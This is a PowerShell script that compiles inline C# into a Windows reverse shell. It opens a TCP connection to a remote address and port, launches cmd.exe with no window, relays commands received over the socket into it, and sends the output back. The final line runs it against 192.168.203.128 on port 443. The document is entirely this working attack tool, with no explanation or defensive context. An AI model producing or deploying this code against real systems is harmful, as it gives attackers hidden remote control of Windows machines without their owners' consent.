ReverseC#TCP

Add-Type -TypeDefinition @"
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.Net.Sockets;


    public class ReverseTCP
    {
        static StreamWriter streamWriter;

        public static void Main(string[] args)
        {
            using (TcpClient client = new TcpClient(args[0], int.Parse(args[1])))
            {
                using (Stream stream = client.GetStream())
                {
                    using (StreamReader rdr = new StreamReader(stream))
                    {
                        streamWriter = new StreamWriter(stream);

                        StringBuilder strInput = new StringBuilder();

                        Process p = new Process();
                        p.StartInfo.FileName = "cmd.exe";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();

                        while (true)
                        {
                                strInput.Append(rdr.ReadLine());
                                p.StandardInput.WriteLine(strInput);
                                strInput.Remove(0, strInput.Length);
                           
                        }
                    }
                }
            }
        }
        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
              
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                
            }
        }

    }
"@



[ReverseTCP]::Main(("192.168.203.128", 443))